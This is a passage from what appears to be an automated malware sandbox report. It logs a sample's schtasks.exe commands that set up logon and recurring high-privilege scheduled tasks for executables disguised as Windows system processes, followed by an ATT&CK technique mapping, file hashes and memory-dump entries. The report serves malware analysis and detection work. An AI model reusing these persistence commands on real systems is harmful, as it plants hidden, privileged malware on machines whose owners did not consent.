schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Windows\INF\rdyboost\0000\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2316

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 9 /tr "'C:\Windows\INF\rdyboost\0000\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4416

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\taskhostw.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1412

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostw" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\taskhostw.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4236

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\taskhostw.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:624

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 5 /tr "'C:\odt\sppsvc.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1132

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\odt\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:876

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 14 /tr "'C:\odt\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3964

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Windows Mail\dllhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4808

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Mail\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3984

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Windows Mail\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1728

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\WmiPrvSE.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2512

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4228

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2884

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Windows NT\Accessories\en-US\WmiPrvSE.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1852

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows NT\Accessories\en-US\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4760

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Windows NT\Accessories\en-US\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2004

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 11 /tr "'C:\Windows\assembly\NativeImages_v2.0.50727_64\Microsoft.WSMan.Man#\a58e7ee3da68f0652eb20fee5787ba4b\spoolsv.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1548

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Windows\assembly\NativeImages_v2.0.50727_64\Microsoft.WSMan.Man#\a58e7ee3da68f0652eb20fee5787ba4b\spoolsv.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1796

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 12 /tr "'C:\Windows\assembly\NativeImages_v2.0.50727_64\Microsoft.WSMan.Man#\a58e7ee3da68f0652eb20fee5787ba4b\spoolsv.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1580

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Bypass User Account Control

T1088

Scheduled Task

T1053

Defense Evasion

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\Windows NT\Accessories\en-US\WmiPrvSE.exe

Filesize
1.3MB

MD5
45ba8801f0a4b240abdfdbd6b1637e13

SHA1
44f16bfeca332e4c786765efdecc6176a3ccded6

SHA256
c7a5d72473674c5267931181822e40eb1d9f0dd300ce27954563758972268bc4

SHA512
df4431e23e0f4927f98b02ab83ba4af3fcd647ba710aaabeea4aafa8bc058e44682d2a88860e828579551c08cfd6902688449448376f75e845e21ab949c98b34

Download Submit
C:\Program Files (x86)\Windows NT\Accessories\en-US\WmiPrvSE.exe

Filesize
1.3MB

MD5
45ba8801f0a4b240abdfdbd6b1637e13

SHA1
44f16bfeca332e4c786765efdecc6176a3ccded6

SHA256
c7a5d72473674c5267931181822e40eb1d9f0dd300ce27954563758972268bc4

SHA512
df4431e23e0f4927f98b02ab83ba4af3fcd647ba710aaabeea4aafa8bc058e44682d2a88860e828579551c08cfd6902688449448376f75e845e21ab949c98b34

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
3a6bad9528f8e23fb5c77fbd81fa28e8

SHA1
f127317c3bc6407f536c0f0600dcbcf1aabfba36

SHA256
986366767de5873f1b170a63f2a33ce05132d1afd90c8f5017afbca8ef1beb05

SHA512
846002154a0ece6f3e9feda6f115d3161dc21b3789525dd62ae1d9188495171293efdbe7be4710666dd8a15e66b557315b5a02918a741ed1d5f3ff0c515b98e2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
3a6bad9528f8e23fb5c77fbd81fa28e8

SHA1
f127317c3bc6407f536c0f0600dcbcf1aabfba36

SHA256
986366767de5873f1b170a63f2a33ce05132d1afd90c8f5017afbca8ef1beb05

SHA512
846002154a0ece6f3e9feda6f115d3161dc21b3789525dd62ae1d9188495171293efdbe7be4710666dd8a15e66b557315b5a02918a741ed1d5f3ff0c515b98e2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
e448fe0d240184c6597a31d3be2ced58

SHA1
372b8d8c19246d3e38cd3ba123cc0f56070f03cd

SHA256
c660f0db85a1e7f0f68db19868979bf50bd541531babf77a701e1b1ce5e6a391

SHA512
0b7f7eae7700d32b18eee3677cb7f89b46ace717fa7e6b501d6c47d54f15dff7e12b49f5a7d36a6ffe4c16165c7d55162db4f3621db545b6af638035752beab4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
a8e8360d573a4ff072dcc6f09d992c88

SHA1
3446774433ceaf0b400073914facab11b98b6807

SHA256
bf5e284e8f95122bf75ead61c7e2b40f55c96742b05330b5b1cb7915991df13b

SHA512
4ee5167643d82082f57c42616007ef9be57f43f9731921bdf7bca611a914724ad94072d3c8f5b130fa54129e5328ccdebf37ba74339c37deb53e79df5cdf0dbe

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
5f0ddc7f3691c81ee14d17b419ba220d

SHA1
f0ef5fde8bab9d17c0b47137e014c91be888ee53

SHA256
a31805264b8b13ce4145f272cb2830728c186c46e314b48514d636866217add5

SHA512
2ce7c2a0833f581297c13dd88ccfcd36bf129d2b5d7718c52b1d67c97cbd8fc93abc085a040229a0fd712e880c690de7f6b996b0b47c46a091fabb7931be58d3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
5f0ddc7f3691c81ee14d17b419ba220d

SHA1
f0ef5fde8bab9d17c0b47137e014c91be888ee53

SHA256
a31805264b8b13ce4145f272cb2830728c186c46e314b48514d636866217add5

SHA512
2ce7c2a0833f581297c13dd88ccfcd36bf129d2b5d7718c52b1d67c97cbd8fc93abc085a040229a0fd712e880c690de7f6b996b0b47c46a091fabb7931be58d3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
5f0ddc7f3691c81ee14d17b419ba220d

SHA1
f0ef5fde8bab9d17c0b47137e014c91be888ee53

SHA256
a31805264b8b13ce4145f272cb2830728c186c46e314b48514d636866217add5

SHA512
2ce7c2a0833f581297c13dd88ccfcd36bf129d2b5d7718c52b1d67c97cbd8fc93abc085a040229a0fd712e880c690de7f6b996b0b47c46a091fabb7931be58d3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
5f0ddc7f3691c81ee14d17b419ba220d

SHA1
f0ef5fde8bab9d17c0b47137e014c91be888ee53

SHA256
a31805264b8b13ce4145f272cb2830728c186c46e314b48514d636866217add5

SHA512
2ce7c2a0833f581297c13dd88ccfcd36bf129d2b5d7718c52b1d67c97cbd8fc93abc085a040229a0fd712e880c690de7f6b996b0b47c46a091fabb7931be58d3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
2e907f77659a6601fcc408274894da2e

SHA1
9f5b72abef1cd7145bf37547cdb1b9254b4efe9d

SHA256
385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233

SHA512
34fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
2e907f77659a6601fcc408274894da2e

SHA1
9f5b72abef1cd7145bf37547cdb1b9254b4efe9d

SHA256
385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233

SHA512
34fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721

Download Submit
C:\Users\Admin\AppData\Local\Temp\HUSYy8DAQk.bat

Filesize
229B

MD5
e96984d824a331d89e5eb492994be3bc

SHA1
6f768811fe9ee5492abcbdeba962b71cd20331fc

SHA256
23f6af0a5dd44613293f3099a65019f6d4551b0fa555c5a5bf118c4f6ff36ef7

SHA512
6a3b3c6634f5edd234d1cb50ee59576322fb8d48e8a5c41a1433c91ad93f342d843cdb27e4f5e2f228ef3b56c59c161caa85ad5819bc16c6714de487846317ee

Download Submit
memory/636-190-0x00007FFBFED20000-0x00007FFBFF7E1000-memory.dmp

Filesize
10.8MB

Download
memory/636-191-0x00007FFBFED20000-0x00007FFBFF7E1000-memory.dmp

Filesize
10.8MB

Download
memory/636-188-0x00000000002C0000-0x0000000000410000-memory.dmp

Filesize
1.3MB

Download
memory/636-189-0x00007FFBFED20000-0x00007FFBFF7E1000-memory.dmp

Filesize
10.8MB

Download
memory/2120-153-0x00007FFBFEC10000-0x00007FFBFF6D1000-memory.dmp

Filesize
10.8MB

Download
memory/2120-178-0x00007FFBFEC10000-0x00007FFBFF6D1000-memory.dmp

Filesize
10.8MB

Download
memory/2632-177-0x00007FFBFEC10000-0x00007FFBFF6D1000-memory.dmp

Filesize
10.8MB

Download
memory/2632-158-0x00007FFBFEC10000-0x00007FFBFF6D1000-memory.dmp

Filesize
10.8MB

Download
memory/2636-155-0x00007FFBFEC10000-0x00007FFBFF6D1000-memory.dmp

Filesize
10.8MB

Download
memory/2636-182-0x00007FFBFEC10000-0x00007FFBFF6D1000-memory.dmp

Filesize
10.8MB

Download
memory/3032-159-0x00007FFBFEC10000-0x00007FFBFF6D1000-memory.dmp

Filesize
10.8MB

Download
memory/3032-179-0x00007FFBFEC10000-0x00007FFBFF6D1000-memory.dmp

Filesize
10.8MB

Download
memory/4092-151-0x00007FFBFEC10000-0x00007FFBFF6D1000-memory.dmp

Filesize
10.8MB

Download
memory/4092-171-0x00007FFBFEC10000-0x00007FFBFF6D1000-memory.dmp

Filesize
10.8MB

Download
memory/4112-132-0x0000000000A00000-0x0000000000B50000-memory.dmp

Filesize
1.3MB

Download
memory/4112-133-0x00007FFBFEC10000-0x00007FFBFF6D1000-memory.dmp

Filesize
10.8MB

Download
memory/4112-150-0x00007FFBFEC10000-0x00007FFBFF6D1000-memory.dmp

Filesize
10.8MB

Download
memory/4112-134-0x000000001D490000-0x000000001D9B8000-memory.dmp

Filesize
5.2MB

Download
memory/4112-135-0x00007FFBFEC10000-0x00007FFBFF6D1000-memory.dmp

Filesize
10.8MB

Download
memory/4132-154-0x00007FFBFEC10000-0x00007FFBFF6D1000-memory.dmp

Filesize
10.8MB

Download
memory/4132-170-0x00007FFBFEC10000-0x00007FFBFF6D1000-memory.dmp

Filesize
10.8MB

Download
memory/4180-180-0x00007FFBFEC10000-0x00007FFBFF6D1000-memory.dmp

Filesize
10.8MB

Download
memory/4180-156-0x00007FFBFEC10000-0x00007FFBFF6D1000-memory.dmp

Filesize
10.8MB

Download
memory/4840-173-0x00007FFBFEC10000-0x00007FFBFF6D1000-memory.dmp

Filesize
10.8MB

Download
memory/4840-161-0x00007FFBFEC10000-0x00007FFBFF6D1000-memory.dmp

Filesize
10.8MB

Download
memory/4920-172-0x00007FFBFEC10000-0x00007FFBFF6D1000-memory.dmp

Filesize
10.8MB

Download
memory/4920-147-0x0000019463C10000-0x0000019463C32000-memory.dmp

Filesize
136KB

Download
memory/4920-149-0x00007FFBFEC10000-0x00007FFBFF6D1000-memory.dmp

Filesize
10.8MB

Download
memory/4948-184-0x00007FFBFEC10000-0x00007FFBFF6D1000-memory.dmp

Filesize
10.8MB

Download
memory/4948-160-0x00007FFBFEC10000-0x00007FFBFF6D1000-memory.dmp

Filesize
10.8MB

Download
memory/5000-152-0x00007FFBFEC10000-0x00007FFBFF6D1000-memory.dmp

Filesize
10.8MB

Download
memory/5000-163-0x00007FFBFEC10000-0x00007FFBFF6D1000-memory.dmp

Filesize
10.8MB

Download